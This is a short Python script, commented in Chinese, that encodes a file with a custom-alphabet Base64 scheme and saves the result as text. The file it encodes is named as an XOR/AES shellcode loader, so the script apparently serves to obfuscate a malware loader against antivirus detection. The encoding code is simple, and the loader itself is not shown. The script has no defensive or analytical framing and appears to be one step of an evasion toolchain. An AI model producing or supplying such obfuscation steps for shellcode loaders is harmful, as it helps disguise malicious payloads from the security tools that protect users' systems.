import base64

# 自定义 Base64 表，必须是 64 个唯一字符
custom_base64_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"

# 构建编码映射和解码映射
standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

# 编码映射：标准 → 自定义
encode_map = str.maketrans(standard_table, custom_base64_table)


def custom_base64_encode(data: bytes) -> str:
    """
    使用自定义Base64表对原始字节数据进行编码
    """
    # 使用标准 Base64 编码
    std_encoded = base64.b64encode(data).decode('utf-8')
    # 替换为自定义编码表
    custom_encoded = std_encoded.translate(encode_map)
    return custom_encoded

# 读取加载器代码文件路径
loader_file = '../xor_loader_aes_loader_aes_shellcode_loader.py'
output_file = '../xor_loader_aes_loader_aes_shellcode_loader.txt'

# 读取加载器代码
with open(loader_file, 'rb') as f:
    code_bytes = f.read()

# base64 编码
custom_encoded  = custom_base64_encode(code_bytes)

# print(custom_encoded)
# # 写入 loader.txt
with open(output_file, 'w') as f:
    f.write(custom_encoded )

print(f"已将 {loader_file} 编码为 Base64 并保存到 {output_file}")